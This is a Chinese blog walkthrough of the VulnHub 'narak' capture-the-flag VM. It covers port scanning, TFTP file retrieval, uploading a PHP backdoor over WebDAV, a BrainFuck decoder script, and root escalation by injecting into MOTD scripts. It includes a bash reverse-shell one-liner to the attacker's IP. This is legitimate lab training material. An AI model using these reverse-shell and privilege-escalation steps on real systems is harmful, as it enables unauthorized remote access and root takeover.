[VulnHub] - narak靶场

靶机: https://download.vulnhub.com/ha/narak.ova
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + 2 Flag
靶机ip:192.168.100.133
攻击机ip:192.168.100.126
注:靶机部署在vmwork上采用nat方式
涉及知识点:信息收集、tftp、webdav、BrainFuck解密、MOTD提权
知识点解析:
  1、MOTD 是 "Message of the Day"(每日信息)的缩写位于/etc/update-motd.d/ 目录下。它是在用户登录 Unix 或 Linux 系统时显示的一段消息,通常用于向用户传递系统管理员想要广播的通知或公告。
  2、WebDAV(Web Distributed Authoring and Versioning)是一种基于 HTTP 协议的扩展,允许用户通过网络共享、编辑和管理文件和文件夹。主要用于远程文件系统的协作,可以让多个用户对同一个文件进行读写操作。WebDAV 被广泛用于云存储、版本控制、协作编辑等场景。

信息收集页面

/tips.txt 图片2描述 登录页面

1、信息收集发现该主机为192.168.100.133同时使用nmap扫描发现该主机tcp开放的端口是80,22,udp开放端口为53、67、68、69等。

2、目录扫描工具发现了/tips.txt,当我访问/tips.txt时,内容显示“Hint to open the door of narak can be found in creds.txt.”,但是访问creds.txt又不存在,当我以为就止步于此的时候,想到了该主机还开放了tftp,我尝试在tftp上把这个creds.txt下载下来。


3、经过一些列操作终于把这个creds.txt下载到了本地,同时发现下载下来的文件是一个base64加密的文件,通过解密得到账号密码yamdoot/Swarg,使用账号密码成功登录服务器,此时文件是空的,并没有任何的利用信息,但又发现这个页面是webbav,webbav主要用于远程文件系统的协作,可以让多个用户对同一个文件进行读写操作。

4.在kali里存在多款工具可以充当webdav客户端,其中就有davtest 构造一个客户端来尝试访问服务器,查看服务器具有哪些权限,通过该工具看到能进行上传php、txt、pl、jhml等,从而构造了一段php后门上传的脚本,并成功上传至服务器中。


5、当我们访问/webdav/she.php的时候就触发了php的反弹shell,致使能访问到www-dada的用户,但是该用户并无root权限。

6、通过使用命令找计划任务、备份文件、suid的文件、可写文件高权限的凭据,并在/mnt/hell.sh 发现BrainFuck加密的数据,解密得到该加密信息为chitragupt,解密脚本如下:,通过账户密码成功登录到inferno,通过00-header发现这个是MOTD,通过这个我们在该脚本下植入,重新登录用户,反弹的shell成功获取到root用户权限。

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

#1、发现BrainFuck加密的数据
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.


#2、BrainFuck解密脚本如下:
import sys

def brainfuck(code):
    tape = [0] * 30000
    ptr = 0
    code_ptr = 0
    output = []
    bracket_map = {}
    open_brackets = []
    
    # Map brackets
    for i, cmd in enumerate(code):
        if cmd == '[':
            open_brackets.append(i)
        elif cmd == ']':
            open_pos = open_brackets.pop()
            bracket_map[open_pos] = i
            bracket_map[i] = open_pos
    
    while code_ptr < len(code):
        cmd = code[code_ptr]
        
        if cmd == '>':
            ptr += 1
        elif cmd == '<':
            ptr -= 1
        elif cmd == '+':
            tape[ptr] = (tape[ptr] + 1) % 256
        elif cmd == '-':
            tape[ptr] = (tape[ptr] - 1) % 256
        elif cmd == '.':
            output.append(chr(tape[ptr]))
        elif cmd == ',':
            tape[ptr] = ord(sys.stdin.read(1))
        elif cmd == '[' and tape[ptr] == 0:
            code_ptr = bracket_map[code_ptr]
        elif cmd == ']' and tape[ptr] != 0:
            code_ptr = bracket_map[code_ptr]
        
        code_ptr += 1
    
    print(''.join(output))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python brainfuck.py <filename>")
        sys.exit(1)

    with open(sys.argv[1], 'r') as f:
        brainfuck(f.read())



3、反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.100.126/16666 0>&1'


posted @ 2024-09-23 09:45  AuriGe  阅读(123)  评论(0)    收藏  举报